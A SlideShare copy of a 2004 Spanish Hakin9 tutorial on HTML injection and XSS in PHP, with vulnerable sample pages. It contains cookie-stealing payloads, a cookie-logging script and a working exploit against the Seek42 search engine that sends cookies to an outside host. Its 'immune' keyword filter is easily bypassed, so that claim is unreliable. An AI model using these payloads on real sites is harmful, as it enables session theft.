SlideShare una empresa de Scribd logo
Ataques de tipo

                            HTML
                            injection
                                        Brandon Petty




 Artículo publicado en el número 1/2004 de la revista “Hakin9”
             Todos los derechos protegidos. Distribución gratuita admitida
       bajo la condición de guardar la forma y el contenido actuales del artículo.
Revista“Hakin9”, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, piotr@software.com.pl
Ataques de tipo HTML
         injection
         Brandon Petty




                                                             Un ataque de tipo HTML
                                                             injection consiste en la
                                                             preparación e introducción de
                                                             código HTML en una página web
                                                             que espera datos del usuario
                                                             exclusivamente en texto plano.
                                                             Veremos enseguida qué se
                                                             puede lograr con la ayuda de
                                                             esta sencilla técnica.




         O
                   bservemos la página web cuyo código       je Hakin9. ¿Interesante, no? Veamos el código
                   fuente se muestra en los listados 1 y 2   fuente de la página que acabamos de observar
                   (http://127.0.0.1/inject/html_ex.html).   (listado 3).
         No parece complicado, ¿verdad? Basta elegir              Es evidente que PHP ha confundido la ca-
         en el formulario el formato que nos interesa        dena de caracteres de nuestra dirección con
         y hacer click en el botón ENVIAR para que el        datos enviados desde el formulario (con el mé-
         valor de la variable music sea enviado a la pági-   todo GET), y la ha colocado directamente en el
         na html_ex.php:                                     código HTML que posteriormente ha enviado al
                                                             navegador. La etiqueta <script> inicia la inter-
         <form action='./html_ex.php' method='post'>         pretación de un bloque de código JavaScript,
                                                             en el que podemos usar la función alert() para
         Este archivo imprime el nombre del formato          hacer que aparezca el cuadro de diálogo.
         que hemos elegido:
                                                             Un ejemplo más avanzado:
         $myURL = $_REQUEST[music];                          foro de discusión
         (...)                                               Presentamos un ejemplo un poco más comple-
         Tu elección: <? echo($myURL); ?>                    jo en los listados 4 y 5 – http://127.0.0.1/inject/
                                                             xss_ex.php. Se trata de una versión simplifica-
Basses




         El funcionamiento de esta página es tan simple      da de un mecanismo que puede encontrarse
         que puede hacerse difícil creer que contiene        en muchos de los foros de discusión existentes
         algún agujero de seguridad. No obstante,            en Internet.
         éste es precisamente el caso: escribamos en             La página xss_ex.php contiene un formu-
         nuestro navegador la siguiente dirección: http:     lario HTML, en el cual podemos introducir
         //127.0.0.1/inject/html_ex.php?music=<script>       un nombre de usuario y su contraseña (root
         alert('hakin9')</script>. Veremos aparecer en       y demo). Estos datos son devueltos al archivo
         la pantalla un cuadro de diálogo con el mensa-      xss_ex.php:




    2                                   www.hakin9.org                                    Hakin9 N o 1/2004
Ataques de tipo HTML injection




                                                Listado 1. Ejemplo elemental de página web vulnerable a ataques de
Si html_ex.php no
                                                tipo HTML injection – archivo html_ex.html
funciona
Si el ejemplo presentado en los lista-          <form action='./html_ex.php' method='post'>
dos 1 y 2 no funciona en tu ordenador             <center>[<b>Escoge tu formato</b>]</center><br>
(o sea, si al introducir la dirección seña-       <input type="radio" name="music" value="MP3" checked="true"> .MP3<br>
lada no aparece ningún cuadro de diá-             <input type="radio" name="music" value="OGG"> .OGG<br>
                                                  <input type="radio" name="music" value="WAV"> .WAV<br>
logo), revisa si en la configuración de
                                                  <center><input type="submit" value="ENVIAR"></center>
tu navegador está activada la opción
                                                </form>
JavaScript. Si no lo está, el navegador
no puede mostrar cuadros de diálogo.
Puedes también comparar el código             <form action='./exploit.php'                   Tratemos de realizar sobre
fuente de la página web visualizada           method='post'>                             este script un ataque HTML injec-
con el que aparece en el listado 3. Pon                                                  tion similar al anterior. En lugar
especial atención en que la línea:            En cuanto los recibe, el script envía al   de una URL normal, escribamos
                                              cliente dos cookies que contienen su       en el formulario lo siguiente: http:
<script>alert('hakin9')
                                              nombre de usuario y su contraseña:         //127.0.0.1/inject/image.jpg"><scrip
</script>
                                                                                         t>alert('hakin9')</script>. El efecto
no se vea como la siguiente:                  setcookie("mylogin",$_POST['login']);      debería ser idéntico al obtenido en
                                              setcookie("mypasswd",$_POST['passwd']);    el ejemplo anterior. Observemos el
<script>alert('hakin9')                                                                código fuente de la página visuali-
</script>                                     Gracias a ellas no hace falta escribir     zada – veremos en él la siguiente
                                              estos datos cada vez que visitamos         línea:
Si es así, lo más probable es que en
el archivo de configuración de PHP
                                              la página. Después de enviar las
                                              cookies, el script envía un encabe-        <img src=" http://127.0.0.1/inject/
(/etc/php.ini en la mayoría de las distri-
                                              zado HTTP location que hace que el         image.jpg"><script>alert('
buciones de Linux) esté activa la opción
                                              navegador se dirija automáticamente        hakin9')</script>">
de seguridad:
                                              a la página exploit.php. Una vez den-
magic_quotes_gpc = On                         tro del sistema, nos encontramos           ¿Cómo funciona? Sencillo: obser-
                                              con una página que simula la inter-        vemos que la cadena que empie-
Esta opción sirve para prevenir nume-
rosos tipos de ataques HTML injection;
                                              faz de carga de imágenes nuevas            za por “>, añadida por nosotros
si quieres experimentar con el funciona-      al foro. En esta página tenemos un         al nombre del archivo gráfico,
miento de los ataques descritos en el         sencillo formulario en el que puede        ha servido para cerrar la etique-
presente artículo tendrás que darle un        ser escrita la dirección de un archivo     ta img. La cadena que le sigue,
valor menos seguro:                           gráfico. Al hacer click en el botón,       <script> alert('hakin9')</script>,
                                              esta dirección es enviada al script, el    ha provocado la aparición de un
magic_quotes_gpc = Off
                                              cual la introduce en la base de datos      cuadro de diálogo, exactamente
                                              y la muestra por pantalla.                 como en el ejemplo anterior.


  Listado 2. Ejemplo de página web vulnerable al HTML injection                            Listado 3. Código fuente de
  (continuación) – archivo html_ex.php                                                     la página web visualizada al
                                                                                           introducir la dirección http:
  <?
                                                                                           //127.0.0.1/inject/html_ex.php?
       /* Asegúrate de que en el archivo php.ini esté puesto
        * "magic_quotes_gpc = Off" – en caso contrario el                                  music=<script>alert('hakin9')
        * script dejará de ser vulnerable                                                  </script>
        */
       error_reporting (E_ALL ^ E_NOTICE);                                                 <html>
       $myURL = $_REQUEST[music];                                                          <head>
  ?>                                                                                         <title>Ejemplo simple</title>
  <html>                                                                                   </head>
  <head>                                                                                   <body bgcolor="white">
     <title>Ejemplo simple</title>                                                         <br><br><br>
  </head>                                                                                  <center><h1>Tu elección:
  <body bgcolor="white">                                                                   <script>alert('hakin9')</script>
  <br><br><br><center><h1>Tu elección: <? echo($myURL); ?></h1></center>                   </h1></center>
  </body>                                                                                  </body>
  </html>                                                                                  </html>




Hakin9 N o 1/2004                                      www.hakin9.org                                                            3
Figura 1. Página web de los listados 1 y 2 – funcionamiento normal y efecto causado por la intervención del hacker
         (aparición del cuadro de alerta)

         Ejemplo de uso de la                          En primer lugar, para que nues-        presa especialmente difícil – basta
         técnica XSS                               tro ataque HTML injection valga            utilizar cualquier foro de discusión.
         Todo perfecto hasta ahora. Sin em-        la pena, debemos colocar nuestro           Una de las características más im-
         bargo, abrir y cerrar ventanitas no es    código en una página web que               portantes del foro presentado en el
         precisamente lo que podríamos llamar      sea frecuentada por mucha gente.           ejemplo anterior es la manera de
         hacking de altos vuelos. Probemos         Como hemos visto en el ejemplo             conservar el nombre de usuario
         ahora a hacer algo un poco más difícil.   anterior, no se trata de una em-           y su contraseña en cookies. Más

           Listado 4. Foro vulnerable – xss_ex.php

           if ($_SERVER['REQUEST_METHOD'] == "POST") {
             setcookie("mylogin",$_POST['login']);
             setcookie("mypasswd",$_POST['passwd']);
             header("Location: exploit.php");
           }
             if ($_COOKIE['mylogin'] || $_COOKIE['mypasswd']) {
             echo("<center><b><a href="./exploit.php">Ya estás registrado </a></b></center>");
             } else {
               ?>
               <br>
               <form action='./xss_ex.php' method='post'>
               <table border=0 width=0 heith=0>
Basses




               <caption align="left">Demostración de HTML Injection</caption>
               <tr><td valign="top">
               <b>Login: </b></td><td><input type=text name="login" value="root" size=50> </input></td></tr><td valign="top">
               <b>Paswd: </b></td><td><input type=text name="passwd" value="demo" size=50> </input><br></td></tr><td valign="top">
               <input type=submit value="Enter">
               </td></tr>
               </table>
               </form>
           ...




   4                                                         www.hakin9.org                                 Hakin9 N o 1/2004
Ataques de tipo HTML injection



                                                                                       Tabla 1. Caracteres ASCII y sus
Conversión de caracteres ASCII a símbolos                                              códigos hexadecimales
hexadecimales
                                                                                        Símbolo           Código hexa-
Analicemos las dos URLs siguientes:
                                                                                                          decimal
• http://127.0.0.1/inject/html_ex.php?music=<script>alert(‘hakin9’)                     !                 %21
</script>
                                                                                        “                 %22
• http://127.0.0.1/inject/html_ex.php?music=        S
%3Cscript%3Ealert%28%27hakin9%27%29%3C%2Fscript%3E                                      #                 %23
                                                                                        $                 %24
Vale la pena saber que ambas dirigen exactamente al mismo lugar. El código ASCII del
símbolo < es 3C (en base 16). En vez de escribir <script podemos escribir %3Cscript.    %                 %25
¿Para qué? En ocasiones sucede no queremos incluir caracteres extraños en la URL,       &                 %26
pues algunas aplicaciones y clientes de servicios web pueden tratar de eliminarlas.     ‘                 %27
La tabla 1 muestra una selección de los caracteres especiales más comunes con sus
respectivos códigos hexadecimales.
                                                                                        (                 %28
                                                                                        )                 %29
adelante mostraremos cómo robar              4 y 5) escribamos en el formulario el      *                 %2A
cookies de otros usuarios, lo que            texto siguiente:                           +                 %2B
nos permitirá hacernos pasar por                                                        ,                 %2C
cualquiera de ellos.                         http://127.0.0.1/inject/image.jpg">
                                                                                        -                 %2D
   Comenzaremos con un ejemplo               <script>alert(document.cookie)</script>
                                                                                        .                 %2E
sencillo. En vez de la dirección de
alguna imagen (nos referimos en              Esto hará que aparezca en                  /                 %2F
todo momento al foro de los listados         pantalla un cuadro con el men-             :                 %3A
                                                                                        ;                 %3B
  Listado 5. Foro vulnerable, continuación – exploit.php                                <                 %3C
  <?                                                                                    =                 %3D
    // Nota: para simplificar el script hemos colocado directamente                     >                 %3E
    // en el código el nombre y la contraseña del usuario (normalmente
    // deberían obtenerse de alguna base de datos)                                      ?                 %3F
       error_reporting (E_ALL ^ E_NOTICE);                                              @                 %40
       $myURL = $_REQUEST[url];
       // Si PHP no enmascara las comillas, lo hacemos nosotros:
                                                                                        [                 %5B
       if (get_magic_quotes_gpc()==0) {                                                                  %5C
          $myURL = addslashes($myURL);
                                                                                        ]                 %5D
       }
       if (($_COOKIE['mylogin'] == 'root') && ($_COOKIE['mypasswd'] == 'demo'))         ^                 %5E
       {
                                                                                        _                 %5F
          if($_SERVER['REQUEST_METHOD'] != "POST")
       {                                                                                ~                 %7E
          ?>
          <b>Demostración de HTML Injection</b>
          <br>                                                                         saje: mylogin=root;    mypasswd=demo.
          <form action='./exploit.php' method='post'>                                  Como podemos ver, la variable
          URL de la imagen: <input type='text' name='url'                              document.cookie siempre contiene
            value='http://' length='50'><br>                                           el valor de todas las cookies rela-
          <input type='submit'>
                                                                                       cionadas con la página en la que
          </form>
  ...                                                                                  nos encontramos. Sin embargo, el
          $SQL_String = "SELECT User.Link FROM User";                                  que cada usuario pueda visualizar
          $SQL_String .= " Where(User.Login = 'root');";                               sus propios datos no es exacta-
          $rs = mysql_query ($SQL_String) or die ($SQL_String);                        mente lo que nos interesa. Sería
          if ($row = mysql_fetch_object ($rs)) {
                                                                                       mejor si estos datos nos fueran
             echo "<img src="$row->Link">n";
          } else {                                                                     enviados directamente a nosotros.
             echo "¡¡Error!!n";                                                       La manera más sencilla de lograrlo
          }                                                                            es colocando un enlace que haga
  ...                                                                                  que el navegador del usuario se di-
                                                                                       rija a nuestras páginas y nos haga




Hakin9 N o 1/2004                                      www.hakin9.org                                                          5
Listado 6. Ejemplos de secuencias cuya introducción en el formulario hará que nuestras cookies sean enviadas
           a un intruso:

           • image.jpg" width="0" height="0" name="hia" onload="hia.src='http://127.0.0.1/inject/
           cookie.php?cookie='+document.cookie”;
           • ./image.jpg" name="hia" onload="hia.src='http://127.0.0.1/inject/cookie.php?cookie='%2Bdocument.cookie;">
           <script language="



         llegar el valor de document.cookie            Veamos cómo funciona el primer
         entre otras variables enviadas con        ejemplo del listado 6. Su envío des-         Listado 7. Script para escribir
         el método GET.                            de la página en la que se introducen         en un archivo el contenido de la
             Analicemos el script del listado 7.   las direcciones a archivos gráficos          variable $cookie recibida con el
         Si lo solicitamos al servidor de la       hará que al cliente le sea enviado el        método GET – cookie.php
         siguiente manera: http://127.0.0.1/       siguiente código:                            <?
         inject/cookie.php?cookie=texto_de_                                                       error_reporting
         prueba                                    <img src="image.jpg" width="0"                    (E_ALL ^ E_NOTICE);
             haremos que en el archivo             height="0" name="hia" onload=                  $cookie = $_REQUEST[cookie];
                                                                                                  $fic=fopen("cookies.txt", "a");
         cookies.txt aparezca la entrada tex-      "hia.src='http://127.0.0.1/
                                                                                                  fwrite($fic, "$cookien");
         to_de_prueba. Si en la dirección que      inject/cookie.php?cookie='                     fclose($fic);
         acabamos de preparar colocáramos          +document.cookie;">                          ?>
         el contenido de la variable cookies,
         ¡ésta terminaría siendo enviada           El mecanismo es simple: al igual           secuencia enviada por nosotros se
         a nuestro servidor!                       que en los ejemplos anteriores, la         ha añadido al código en el lugar
Basses




         Figura 2. Esquema de funcionamiento del modelo simplificado de foro de los listados 4 y 5




   6                                                         www.hakin9.org                                 Hakin9 N o 1/2004
Ataques de tipo HTML injection




                                                                                     a la página en más de un lugar, es-
  Listado 8. Script para examinar los cookies recibidos – view_                      to ocasionaría la aparición en una
  cookie.php                                                                         misma página de varias imágenes
  <?                                                                                 con el mismo nombre – hia – por
       echo("Demostración de HTML injection: intercepción de cookiesn<br>n");      lo que podríamos tener problemas
       $fic=fopen("cookies.txt", "r");                                               con la ejecución del método onload.
       while(!feof($fic)) {                                                          La terminación <script language="
           $data = fgets($fic, 1024);
                                                                                     hace que el resto de la página sea
           echo("<br>$data");
       }                                                                             tratado por el navegador como un
       fclose($fic);                                                                 bloque inconcluso de JavaScript. Un
  ?>                                                                                 ejemplo del uso de esta técnica se
                                                                                     muestra en el listado 9. Se trata del
donde debería ir la URL de un ar-            usuario sean enviadas a nuestro         código fuente completo de un exploit
chivo gráfico. Como consecuencia,            servidor y escritas en el archivo       que permite interceptar cookies de
la imagen image.jpg (invisible, pues         cookies.txt, el cual será creado (de    usuarios del popular buscador http://
sus dimensiones son 0x0 pixels) se-          ser necesario) en el mismo directo-     sourceforge.net/projects/seek42/.
rá visualizada. Inmediatamente des-          rio en el que se encuentra el fichero
pués de que ésta haya sido cargada,          cookie.php. Para facilitarnos la rea-   Cómo defenderse
el navegador tratará de sustituirla          lización del ataque podemos utilizar    Aunque no es difícil realizar ataques
(a causa del método onload) con otra         un script como el mostrado en el        de tipo HTML injection, en muchos
“imagen”, cuya URL es:                       listado 8.                              casos defenderse de ellos no es tan
                                                  En algunos casos es necesario      sencillo.
http://127.0.0.1/inject/                     utilizar la secuencia <script lan-         Existen dos maneras de poner
cookie.php?cookie='+document.cookie;         guage=" – como es el caso de la         nuestras propias páginas web a sal-
                                             segunda URL del listado 6. La ra-       vo de hackers. La primera consiste
Como hemos mostrado anterior-                zón es la siguiente: si el trozo de     en analizar los datos que entran al
mente, esto hará que las cookies del         código que enviamos es añadido          servidor antes de que éstos sean




Figura 3. Esquema del ataque al foro de los listados 4 y 5




Hakin9 N o 1/2004                                      www.hakin9.org                                                        7
Listing 9. Exploit para Seek42

           http://www.xxxx.net/seek42.php?q=trouble&E="></td></tr></table><br><br><center><b>Stone walls do not make a prison
           nor iron bars a cage</b><br><img src="http://www.jotdot.net/brandito/authentic/tho.jpg"><br>
           <img src="http://www.jotdot.net/brandito/authentic/tho.jpg" name="hia"
           onload="hia.src='http://www.jotdot.net/brandito/authentic/Secure/cookie.php?cookie='%2Bdocument.cookie;"
           width=0 height=0></center>    <script language="



         incorporados al código que ha de          ha podido encontrar alguna de ellas        archivo de configuración /etc/php.ini)
         ser enviado al cliente. Con la función    o True en el caso contrario.               imposibilitamos el funcionamiento de
         apropiada, podemos revisar si los             Este primer método de defensa          muchos scripts malignos que puedan
         datos contienen código HTML ma-           es la opción preferida de muchos de        venir del exterior. En nuestro caso, el
         ligno y, de ser así, rechazarlos en su    los foros de discusión que podemos         ataque a la página de los listados 1
         totalidad o tratar de eliminar de ellos   encontrar en Internet. Después de          y 2 ya no funcionará. Sin embargo, el
         los fragmentos que nos parezcan           localizadas, todas las etiquetas HTML      que realizamos sobre nuestro sencillo
         sospechosos. Un ejemplo del uso de        provenientes del usuario son elimina-      ejemplo de foro no dejará de tener
         este método ha sido presentado en         das de los datos, dejando sólo aque-       éxito, porque en los datos enviados
         el listado 10. Podemos ver en él una      llas que provienen del mismo sistema       a la base de datos en la consulta SQL,
         versión del listado 2 que es inmune       para procesarlas de modo especial.         antes de cada símbolo de comillas de-
         al ataque gracias al uso de la fun-           La segunda manera se basa              be encontrarse una barra inversa. En
         ción is _ clean. Esta función revisa      en la capacidad que tiene PHP de           el listado del script exploit.php pode-
         si los datos de entrada contienen         enmascarar automáticamente (con            mos ver cómo se comprueba la opción
         al menos una de las secuencias “>         barras inversas) todas las comillas        magic _ quotes _ gpc y, si está inactiva,
         o <script, que son las que con mayor      y los apóstrofes en los datos de entra-    cómo se añaden las barras inversas.
         regularidad aparecen en ataques de        da. Activando esta opción (o sea, po-           En las versiones más moder-
         este tipo. La función regresa False si    niendo magic _ quotes _ gpc = On en el     nas de PHP la opción magic _ quo-
                                                                                              tes _ gpc está activa por defecto. No

           Listado 10. Otra versión del script del listado 2, inmune a ataques de             obstante, existen casos en los que
           tipo HTML injection – archivo html_ex_clean.php                                    (como webmasters) tendremos que
                                                                                              desactivarla – por ejemplo si nuestro
           <?                                                                                 script debe conservar datos en un
             error_reporting (E_ALL ^ E_NOTICE);
                                                                                              archivo de texto, o cuando necesite-
             function is_clean ($container){
                $container = strtolower($container);
                                                                                              mos comparar cadenas alfanuméri-
                $container = str_replace(' ', "", $container);                                cas que contienen comillas.
                // Buscamos secuencias de caracteres que puedan servir para
                // realizar un ataque.                                                        Conclusiones
                $string1 = "<script";
                                                                                              Es posible encontrar en Internet nume-
                $string2 = "">";
                if(!strstr($container,$string1) && !strstr($container,$string2)) {
                                                                                              rosas páginas sensibles, en mayor
                  // La secuencia es inofensiva.                                              o menor grado, a algún tipo de ataque
                  $result = True;                                                             HTML injection. Después de leer el
                } else {                                                                      presente artículo, puedes intentar
                   // La secuencia contiene fragmentos sospechosos.
                                                                                              encontrar por ti mismo algunas de
                   $result = False;
                }
                                                                                              ellas – no sería muy extraño que te
                return $result;                                                               toparas con una vulnerabilidad de
             }                                                                                éstas en alguna de las páginas que
               $myURL = $_REQUEST[music];                                                     sueles visitar a diario. Para conven-
               // Asegurémonos de que la cadena en $myURL sea segura.
                                                                                              cerse de ello, basta considerar el
             if(!is_clean($myURL))
Basses




             $myURL = ", para realizar un ataque de HTML injection";
                                                                                              exploit presentado en el listado 9,
           ?>                                                                                 que permite realizar ataques al re-
           <html>                                                                             lativamente popular buscador http://
           <head><title>Ejemplo simple</title></head>                                         sourceforge.net/projects/seek42/. Yo
           <body bgcolor="white">
                                                                                              mismo encontré este agujero después
           <br><br><br><center><h1>Has escogido <? echo($myURL); ?></h1></center>
           </body>
                                                                                              de una búsqueda que no duró más de
           </html>                                                                            30 minutos en una de las pausas du-
                                                                                              rante la redacción de este texto. 




   8                                                         www.hakin9.org                                  Hakin9 N o 1/2004

Más contenido relacionado

ODP
Desarrollo de aplicaciones web con PHP y symfony
PDF
4.Programación con PHP y MySQL
PDF
54 Php. La Opcion Include
PDF
Manual de la conexión de php con sqlserver 2012
PDF
Programacion - Php
PDF
Mis primeros pasos con Symfony 2
PDF
desarrolo de sitios web php y mysql
DOCX
Tutorial php basico
Desarrollo de aplicaciones web con PHP y symfony
4.Programación con PHP y MySQL
54 Php. La Opcion Include
Manual de la conexión de php con sqlserver 2012
Programacion - Php
Mis primeros pasos con Symfony 2
desarrolo de sitios web php y mysql
Tutorial php basico

La actualidad más candente (16)

DOCX
Aprendiendo php my sql, javascript, css, html5 capitulo 3 (introduccion a php
PDF
Manual De Php
PDF
Symfony2 Formacion y primeros pasos
PPTX
Introduccion A Php
 
DOC
PPT
ODP
Introducción a PHP5
DOCX
Curso PHP Academia Usero
PDF
Servidor Web Apache, PHP, MySQL.
DOCX
Usando Netbeans para desarrollos en PHP
DOCX
Aprendiendo php my sql, javascript, css, html5 capitulo 2
PDF
Introducción a PHP - Programador PHP - UGR
DOCX
Aprendiendo php my sql, javascript, css, html5 capitulo 4 expresiones y contr...
PPT
Servidor de prueba wamp
PDF
Apuntes php
Aprendiendo php my sql, javascript, css, html5 capitulo 3 (introduccion a php
Manual De Php
Symfony2 Formacion y primeros pasos
Introduccion A Php
 
Introducción a PHP5
Curso PHP Academia Usero
Servidor Web Apache, PHP, MySQL.
Usando Netbeans para desarrollos en PHP
Aprendiendo php my sql, javascript, css, html5 capitulo 2
Introducción a PHP - Programador PHP - UGR
Aprendiendo php my sql, javascript, css, html5 capitulo 4 expresiones y contr...
Servidor de prueba wamp
Apuntes php

Similar a Hackin9 - Ataques de tipo HTML injection (20)

PDF
Art hack web-v1-4
PDF
Prevencion ante ataques XSS - Betabeers Córdoba (29/11/2012)
PPTX
Más responsabilidad y seguridad en tus datos
PDF
Seguridad
PPT
Presentacionbetabeers prevencion ante_ ataques_xss
PDF
Seguridad WEB - Principios básicos.
PPTX
Lima hack 2011
PDF
Presentación Workshop php Barcelona Seguridad
PPTX
Hacking Web: Attacks & Tips
ODP
Seguridad en aplicaciones web
ODP
Seguridad en PHP (es)
PPTX
Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript...
PDF
PHP Avanzado: Seguridad Web
PPT
Seminario Seguridad con PHP
PPT
Web app attacks
PPT
WebAttack - Presentación
PPT
Semana 1 tecnologias web
PPT
Vulnerabilidades en Aplicaciones Web PHP
PDF
Seguridad Web XSS y BeEF
PPTX
Owasp lnhg-2011-06-1 juan david parra (seg. y redes)
Art hack web-v1-4
Prevencion ante ataques XSS - Betabeers Córdoba (29/11/2012)
Más responsabilidad y seguridad en tus datos
Seguridad
Presentacionbetabeers prevencion ante_ ataques_xss
Seguridad WEB - Principios básicos.
Lima hack 2011
Presentación Workshop php Barcelona Seguridad
Hacking Web: Attacks & Tips
Seguridad en aplicaciones web
Seguridad en PHP (es)
Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript...
PHP Avanzado: Seguridad Web
Seminario Seguridad con PHP
Web app attacks
WebAttack - Presentación
Semana 1 tecnologias web
Vulnerabilidades en Aplicaciones Web PHP
Seguridad Web XSS y BeEF
Owasp lnhg-2011-06-1 juan david parra (seg. y redes)

Más de degarden (20)

PDF
MICHELIN_-AGILIS-CrossClimate_GB
PDF
ABC 2021 Guia del vino
PDF
Audi-A3-Sportback-catalogo-es-1146
PDF
Why btrfs is the Bread and Butter of Filesystems
PDF
Toshiba X300 salessheet english-web_r2
PDF
Toshiba N300 salessheet english-web_r2
PDF
The 20 maps that will help you understand Spain - The Local
PDF
Toshiba X300 Performance Internal Hard Drive
PDF
Bronces
PDF
Sper Food Safety Thermometer with IR
PDF
Plarad Torque and tension systems
PDF
Plarad Hydraulikaggregate Hydraulic Power Packs
PDF
Hands-Free Profile 1.7
PDF
Fingerprinting Bluetooth-Low-Energy Devices Based on the Generic Attribute Pr...
PDF
Reverse Engineering BLE Devices Documentation
PDF
pWeb: A P2P Web Hosting Framework
PDF
¿Qué esconde tu teléfono? Adquisición forense de dispositivos Android
PDF
Bose NC 700 - User manual English
PDF
MICHELIN CrossCLIMATE+
PDF
Catálogo-Producto-Familia-A3-PI_MY17_Medidas-Semana-9_2017
MICHELIN_-AGILIS-CrossClimate_GB
ABC 2021 Guia del vino
Audi-A3-Sportback-catalogo-es-1146
Why btrfs is the Bread and Butter of Filesystems
Toshiba X300 salessheet english-web_r2
Toshiba N300 salessheet english-web_r2
The 20 maps that will help you understand Spain - The Local
Toshiba X300 Performance Internal Hard Drive
Bronces
Sper Food Safety Thermometer with IR
Plarad Torque and tension systems
Plarad Hydraulikaggregate Hydraulic Power Packs
Hands-Free Profile 1.7
Fingerprinting Bluetooth-Low-Energy Devices Based on the Generic Attribute Pr...
Reverse Engineering BLE Devices Documentation
pWeb: A P2P Web Hosting Framework
¿Qué esconde tu teléfono? Adquisición forense de dispositivos Android
Bose NC 700 - User manual English
MICHELIN CrossCLIMATE+
Catálogo-Producto-Familia-A3-PI_MY17_Medidas-Semana-9_2017

Último (20)

PDF
Romper el Circulo de la Creatividad - Colleen Hoover Ccesa007.pdf
PDF
Habitos de Ricos - Juan Diego Gomez Ccesa007.pdf
PDF
ciencias-1.pdf libro cuarto basico niños
PDF
Metodologías Activas con herramientas IAG
PDF
el - LIBRO-PACTO-EDUCATIVO-GLOBAL-OIEC.pdf
PDF
Conecta con la Motivacion - Brian Tracy Ccesa007.pdf
PDF
Escuela de Negocios - Robert kiyosaki Ccesa007.pdf
PDF
TRAUMA_Y_RECUPERACION consecuencias de la violencia JUDITH HERMAN
PDF
La Evaluacion Formativa en Nuevos Escenarios de Aprendizaje UGEL03 Ccesa007.pdf
PDF
benveniste-problemas-de-linguistica-general-i-cap-6 (1)_compressed.pdf
PDF
SESION 12 INMUNIZACIONES - CADENA DE FRÍO- SALUD FAMILIAR - PUEBLOS INDIGENAS...
PDF
Tomo 1 de biologia gratis ultra plusenmas
PDF
Breve historia de los Incas -- Patricia Temoche [Temoche, Patricia] -- Breve ...
PDF
IDH_Guatemala_2.pdfnjjjkeioooe ,l dkdldp ekooe
PDF
Crear o Morir - Andres Oppenheimer Ccesa007.pdf
PPT
Cosacos y hombres del Este en el Heer.ppt
PPTX
AGENTES PATÓGENOS Y LAS PRINCIPAL ENFERMEAD.pptx
PDF
CONFERENCIA-Deep Research en el aula universitaria-UPeU-EduTech360.pdf
DOCX
PROYECTO DE APRENDIZAJE para la semana de fiestas patrias
PDF
Unidad de Aprendizaje 5 de Educacion para el Trabajo EPT Ccesa007.pdf
Romper el Circulo de la Creatividad - Colleen Hoover Ccesa007.pdf
Habitos de Ricos - Juan Diego Gomez Ccesa007.pdf
ciencias-1.pdf libro cuarto basico niños
Metodologías Activas con herramientas IAG
el - LIBRO-PACTO-EDUCATIVO-GLOBAL-OIEC.pdf
Conecta con la Motivacion - Brian Tracy Ccesa007.pdf
Escuela de Negocios - Robert kiyosaki Ccesa007.pdf
TRAUMA_Y_RECUPERACION consecuencias de la violencia JUDITH HERMAN
La Evaluacion Formativa en Nuevos Escenarios de Aprendizaje UGEL03 Ccesa007.pdf
benveniste-problemas-de-linguistica-general-i-cap-6 (1)_compressed.pdf
SESION 12 INMUNIZACIONES - CADENA DE FRÍO- SALUD FAMILIAR - PUEBLOS INDIGENAS...
Tomo 1 de biologia gratis ultra plusenmas
Breve historia de los Incas -- Patricia Temoche [Temoche, Patricia] -- Breve ...
IDH_Guatemala_2.pdfnjjjkeioooe ,l dkdldp ekooe
Crear o Morir - Andres Oppenheimer Ccesa007.pdf
Cosacos y hombres del Este en el Heer.ppt
AGENTES PATÓGENOS Y LAS PRINCIPAL ENFERMEAD.pptx
CONFERENCIA-Deep Research en el aula universitaria-UPeU-EduTech360.pdf
PROYECTO DE APRENDIZAJE para la semana de fiestas patrias
Unidad de Aprendizaje 5 de Educacion para el Trabajo EPT Ccesa007.pdf

Hackin9 - Ataques de tipo HTML injection

  • 1. Ataques de tipo HTML injection Brandon Petty Artículo publicado en el número 1/2004 de la revista “Hakin9” Todos los derechos protegidos. Distribución gratuita admitida bajo la condición de guardar la forma y el contenido actuales del artículo. Revista“Hakin9”, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, piotr@software.com.pl
  • 2. Ataques de tipo HTML injection Brandon Petty Un ataque de tipo HTML injection consiste en la preparación e introducción de código HTML en una página web que espera datos del usuario exclusivamente en texto plano. Veremos enseguida qué se puede lograr con la ayuda de esta sencilla técnica. O bservemos la página web cuyo código je Hakin9. ¿Interesante, no? Veamos el código fuente se muestra en los listados 1 y 2 fuente de la página que acabamos de observar (http://127.0.0.1/inject/html_ex.html). (listado 3). No parece complicado, ¿verdad? Basta elegir Es evidente que PHP ha confundido la ca- en el formulario el formato que nos interesa dena de caracteres de nuestra dirección con y hacer click en el botón ENVIAR para que el datos enviados desde el formulario (con el mé- valor de la variable music sea enviado a la pági- todo GET), y la ha colocado directamente en el na html_ex.php: código HTML que posteriormente ha enviado al navegador. La etiqueta <script> inicia la inter- <form action='./html_ex.php' method='post'> pretación de un bloque de código JavaScript, en el que podemos usar la función alert() para Este archivo imprime el nombre del formato hacer que aparezca el cuadro de diálogo. que hemos elegido: Un ejemplo más avanzado: $myURL = $_REQUEST[music]; foro de discusión (...) Presentamos un ejemplo un poco más comple- Tu elección: <? echo($myURL); ?> jo en los listados 4 y 5 – http://127.0.0.1/inject/ xss_ex.php. Se trata de una versión simplifica- Basses El funcionamiento de esta página es tan simple da de un mecanismo que puede encontrarse que puede hacerse difícil creer que contiene en muchos de los foros de discusión existentes algún agujero de seguridad. No obstante, en Internet. éste es precisamente el caso: escribamos en La página xss_ex.php contiene un formu- nuestro navegador la siguiente dirección: http: lario HTML, en el cual podemos introducir //127.0.0.1/inject/html_ex.php?music=<script> un nombre de usuario y su contraseña (root alert('hakin9')</script>. Veremos aparecer en y demo). Estos datos son devueltos al archivo la pantalla un cuadro de diálogo con el mensa- xss_ex.php: 2 www.hakin9.org Hakin9 N o 1/2004
